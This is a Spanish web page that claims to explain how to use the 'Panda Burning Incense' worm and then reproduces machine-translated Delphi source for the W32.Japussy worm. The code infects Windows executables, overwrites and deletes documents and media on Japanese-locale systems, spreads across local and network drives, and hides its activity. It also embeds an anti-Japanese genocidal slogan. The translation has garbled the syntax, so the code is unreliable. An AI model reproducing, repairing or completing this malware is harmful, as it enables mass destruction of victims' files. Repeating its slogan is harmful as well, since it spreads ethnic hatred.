¿Cómo utilizar el virus Panda Burning Incense?
Cuidado con enterrarte
No tienes conocimientos de programación y seguridad
Aunque te dé las herramientas, no podrás utilizarlas
No es posible hackear la cuenta, OK
Si estás interesado, infórmate bien
"Panda Burning Incense" se ha transformado recientemente en "Anuncio del Cerdo Dorado". Este es un gusano infeccioso que puede infectar el sistema. exe, com, pif, src, html, asp y otros archivos. También puede detener una gran cantidad de procesos de software antivirus y eliminar archivos con la extensión gho. es el archivo de copia de seguridad de GHOST, una herramienta de copia de seguridad del sistema, por lo que se pierden los archivos de copia de seguridad del sistema del usuario. Todos los archivos ejecutables .exe en el sistema del usuario infectado se modifican para que parezcan lindos cerdos dorados.
programa Japussy
usa
Windows, SysUtils, Clases, Gráficos, ShellAPI{, Registro}
const
HeaderSize = 82432; //El tamaño del virus
IconOffset = EB8; //El desplazamiento del icono principal del archivo PE
//En mi Delphi5 SP1 El tamaño obtenido por compilación puede ser diferente en otras versiones de Delphi
//Busque la cadena hexadecimal de 2800000020 para encontrar el desplazamiento del icono principal
{
HeaderSize = 38912; //El tamaño del virus comprimido por Upx
IconOffset = BC; //El desplazamiento del icono principal del archivo PE comprimido por Upx
//Upx 1.24 W Uso: upx -9 --8086 Japussy.exe
}
IconSize = E8 //El tamaño del icono principal del archivo PE es 744 bytes;
IconTail = IconOffset IconSize; //Cola del icono principal del archivo PE
ID = 444444 //Marca de infección
//Código inútil para escribiendo
Catchword = 'Si es necesario exterminar una raza, debe ser Yamato. '
'Si es necesario destruir un país, debe ser Japón. p>
'** * W32.Japussy.Worm.A ***';
{$R *.RES}
función RegisterServiceProcess(dwProcessID, dwType: Entero ): Entero;
stDCall; external 'Kernel32.dll'; //Declaración de función
var
TmpFile: cadena; Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //Marca del sistema operativo de la versión japonesa
{Juzga si es Windows 9. versión X}
función IsWin9x: booleano
var
Ver: TOSVersionInfo
comenzar
Resultado; := Falso;
Ver.dwOSVersionInfoSize:= SizeOf(TOSVersionInfo
si no es GetVersionEx(Ver) entonces
Salir; >if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) entonces //Win9x
Resultado:= Verdadero
fin
{ Copiar entre secuencias;
}
procedimiento CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer
var
sCurPos, dCurPos: Entero;
comenzar
sCurPos:= Src.Position
dCurPos:= Dst.Position
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Conde
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ Eliminar el archivo host del infectado. Archivo PE para uso}
procedimiento ExtractFile(FileName: string);
var
sStream, dStream: TFileStream
begin <; /p>
pruebe
sStream := TFileStream.Create(ParamStr(0), fmOpenRead o fmShareDenyNone
pruebe
dStream:= TFileStream); .Create(FileName, fmCreate);
prueba
sStream.Seek(HeaderSize, 0); //Omite la parte del virus del encabezado
dStream. CopyFrom(sStream, sStream.Size - HeaderSize)
finalmente
dStream.Free
end
finalmente
sStream.Free
fin
excepto
fin
fin; {Rellenar estructura STARTUPINFO}
procedimiento FillStartupInfo(var Si: STARTUPINFO; Estado: Word
begin
Si.cb := SizeOf (Si);
Si.lpReserved:= nil
Si.lpDesktop:= nil
Si.lpTitle:= nil; .dwFlags:= STARTF_USESHOWWINDOW;
Si.wShowWindow:= Estado;
Si.cbReserved2:= 0
Si.lpReserved2:= nil; p>
fin;
{Envío de correos electrónicos venenosos}
procedimiento SendMail
comenzar
;
//Terminación del correo
end;
{Archivo PE infectado}
procedimiento InfectOneFile(FileName: string)
var
end; p>
var
p>
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream
iID: LongInt; p>
aIcon: TIcon;
Infectado, IsPE: booleano;
i: entero
Buf: matriz[0..1] de Char;
begin
try //Si ocurre un error, el archivo se está utilizando, salga
if CompareText(FileName, 'JAPUSSY.EXE') = 0 entonces //Si es usted mismo, no estará infectado
Salir;
Infectado:= Falso
IsPE:= Falso
p>
SrcStream:= TFileStream.Create(FileName, fmOpenRead);
pruebe
for i := 0 a 8 do //Verifique el encabezado del archivo PE
comenzar
SrcStream.Seek(i, soFromBeginning
p>SrcStream.Read(Buf, 2
if (Buf[0); ] = #80) y (Buf[1] = #69) luego //marca PE
comenzar
IsPE:= True //Es un archivo PE
Romper;
fin;
fin;
fin p>
SrcStream.Seek(-4, soFromEnd); indicador de infección
SrcStream.Read(iID, 4);
si (iID = ID) o (SrcStream.Size lt; 10240) entonces //Los archivos menores a 10240 no están infectados
Infectado:= Verdadero;
finalmente
SrcStream.Free;
fin
si está infectado o (no IsPE) luego //Salir si está infectado o no es un archivo PE
Salir
IcoStream:= TMemoryStream.Create
DstStream:= TMemoryStream. Crear;
probar
aIcon:= TIcon.Create;
probar
//Obtener el icono principal (744 bytes) de el archivo infectado y guárdelo en la secuencia
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName),
aIcon.SaveToStream(IcoStr
equipo);
finalmente
aIcon.Free
end
SrcStream:= TFileStream.Create(FileName, fmOpenRead);
//Archivo de encabezado
HdrStream:= TFileStream.Create(ParamStr(0), fmOpenRead o fmShareDenyNone
prueba
; //Escribe los datos antes del icono principal del virus
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//Escribe el icono principal del programa actual
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize
//Escribe los datos del icono principal del virus en la cola del virus
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//Escribir en el programa host
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); );
//Escribir etiquetas infectadas
DstStream.Seek(0, 2);
iID:= 444444; .Escribir (iID, 4);
finalmente
HdrStream.Free
final
finalmente
SrcStream .Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //Reemplazar el archivo host
DstStream.Free
end;
except;
end;
end;
{ Escribe código inútil en el archivo de destino y luego eliminarlo} p>
procedimiento SmashFile(FileName: string);
var
FileHandle: Integer
i, Tamaño, Masa, Max, Len: Integer ;
comenzar
intentar
SetFileAttributes(PChar(FileName), 0 //Eliminar atributos de solo lectura
FileHandle := FileOpen(FileName, fmOpenWrite); //Abre el archivo
intenta
Tamaño:= GetFileSize(FileHandle, nil); /p>
i: = 0;
Aleatorio;
Max := Random(15); //El número aleatorio de veces para escribir código inútil
si Máx lt; 5 entonces
Máx:=
Masa:= Tamaño div Max; //El tamaño de cada bloque de intervalo
Len:= Longitud(Catchword
mientras i lt;
begin
FileSeek(FileHandle, i * Mass, 0); //Posicionamiento
// ¡Escribe código inútil y destruye completamente el archivo!
FileWrite(FileHandle, Catchword, Len);
Inc(i
fin
finalmente
<; p>FileClose(FileHandle); //Cerrar el archivoend;
DeleteFile(PChar(FileName)); //Eliminar
excepto
end;
end;
{Obtener una lista de unidades en las que se puede escribir}
función GetDrives: cadena
var
Tipo de disco: Palabra
D: Char;
Str: cadena
i: Entero; p>
begin
for i := 0 a 25 do //Atravesar 26 letras
begin
D := Chr(i 65);
Str:= D ':\';
DiskType:= GetDriveType(PChar(Str));
//Obtener disco local y disco de red
si (DiskType = DRIVE_FIXED) o (DiskType = DRIVE_REMOTE) entonces
Resultado:= Resultado D
end;
{Atravesar directorios, infectar y destruir archivos}
procedimiento LoopFiles(Ruta, Máscara: cadena
var
i); Recuento: Entero;
Fn, Ext: cadena;
SubDir: TStrings;
SearchRec: TSearchRec
Mensaje: TMsg;
función IsValidDir(SearchRec: TSearchRec): Entero;
comenzar
if (SearchRec.Attr lt; gt; 16) y (SearchRec.Name lt; gt; ' .') y
(SearchRec.Name lt; gt; '..') luego
Resultado:= 0 //No es un directorio
de lo contrario, si ( SearchRec.Attr = 16) y (SearchRec.Name lt; gt; '.') y
(SearchRec.Name lt; gt; '..') entonces
Resultado: = 1 //No es el directorio raíz
Registro
else Resultado:= 2; //Es el directorio raíz
end
begin
if (FindFirst(Path; Mask, faAnyFile, SearchRec) = 0) luego
comenzar
repetir
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); cola de mensajes, evite levantar sospechas
si IsValidDir(SearchRec) = 0 entonces
comience
Fn := Path SearchRec.Name
Ext : = UpperCase(ExtractFileExt(Fn));
si (Ext = '.EXE') o (Ext = '.SCR') entonces
comenzar
InfectOneFile(Fn); //Infectar archivo ejecutable
end
else if (Ext = '.HTM') o (Ext = '.HTML') o (Ext = ' .ASP') luego
comenzar
//Infectar archivos HTML y ASP y escribir el virus codificado en Base64
//Infectar a las personas que navegan por esto página web Todos los usuarios
//¿Qué hermano mayor está dispuesto a completarlo?
finalizar
de lo contrario si Ext = '.WAB' entonces //archivo de libreta de direcciones de Outlook
comenzar
//obtener correo de Outlook Dirección
fin
de lo contrario si Ext = '.ADC' entonces //archivo de autocompletar dirección de Foxmail
comenzar
// Obtenga la dirección de correo electrónico de Foxmail
end
de lo contrario, si Ext = 'IND', entonces //el archivo de la libreta de direcciones de Foxmail
comenzará
// Obtenga la dirección de correo electrónico de Foxmail
end
si no
comienzo
si es japonés, entonces //Es un sistema operativo japonés
comenzar
si (Ext = '.DOC') o (Ext = '.XLS') o (Ext = '.MDB') o
(Ext = ' .MP3' ) o (Ext = '.RM') o (Ext = '.RA') o
(Ext = '.WMA') o (Ext = '.ZIP') o (Ext = '.RAR') o
(Ext = '.MPEG') o (Ext = '.ASF') o (Ext = '.JPG') o
(Ext = '.JPEG') o (Ext = '.GIF') o (Ext = '.SWF') o
(Ext = '.PDF') o (Ext = '.CHM') o (Ext = '.AVI') luego
SmashFile(Fn); //Destruye el archivo
end;
end;
end;
//Dormir durante 200 milisegundos después de infectar o eliminar un archivo para evitar sospechas debido al alto uso de la CPU
Dormir(200);
hasta (FindNext(SearchRec) lt; gt; 0
fin;
FindClose(SearchRec); p>
p>
SubDir := TStringList.Create;
if (FindFirst(Path '*.*', faDirectory, SearchRec) = 0) entonces
comenzar
repetir
si IsValidDir(SearchRec) = 1 entonces
SubDir.Add(SearchRec.Name
hasta (FindNext); (SearchRec) lt; gt; 0);
fin;
BuscarClose(SearchRec)
Contar:= SubDir.Count - 1; >
para i:= 0 para contar
LoopFiles(Path SubDir.Strings '\', Mask
FreeAndNil(SubDir
end;
end p>
{Recorre todos los archivos en el disco}
procedimiento InfectFiles
var
DriverList; : cadena;
i , Len: Entero
comenzar
si GetACP = 932 entonces //sistema operativo japonés
IsJap: = Verdadero; //¡Vete al infierno!
DriverList:= GetDrives; //Obtener la lista de discos grabables
Len:= Longitud(DriverList
mientras True do //Bucle infinito< / p>
comenzar
for i := Len downto 1 do //Recorrer cada unidad de disco
LoopFiles(DriverList ':\', '*.*') / /Infección
SendMail; //Enviar correo venenoso
Sleep(1000 * 60 * 5); //Dormir durante 5 minutos
end; >
fin;
{Inicio del programa principal}
comenzar
si esWin9x entonces //Es Win9x
RegisterServiceProcess (GetCurrentProcessID, 1) //Registrarse como proceso de servicio
else //WinNT
comenzar
//Subproceso remoto asignado al proceso Explorer
//
end;
//Si es el virus original en sí
if CompareText(ExtractFileName(ParamStr(0)), 'Japus
sy.exe') = 0 entonces
InfectFiles //Infección y envío de correos electrónicos
else //Ha parasitado el programa host y ha comenzado a trabajar
comenzar p>
begin
p>TmpFile:= ParamStr(0); //Crea un archivo temporal
Delete(TmpFile, Longitud(TmpFile) - 4, 4);
TmpFile:= TmpFile #32 '.exe'; //Archivo host real, un espacio más
ExtractFile(TmpFile); //Separación
FillStartupInfo; (Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi) ; //Crea un nuevo proceso para ejecutar
InfectFiles; //Infección y envío de correos electrónicos
end
end. comando apagado -a //Cancelar virus en la computadora Apague el teléfono durante la cuenta regresiva final.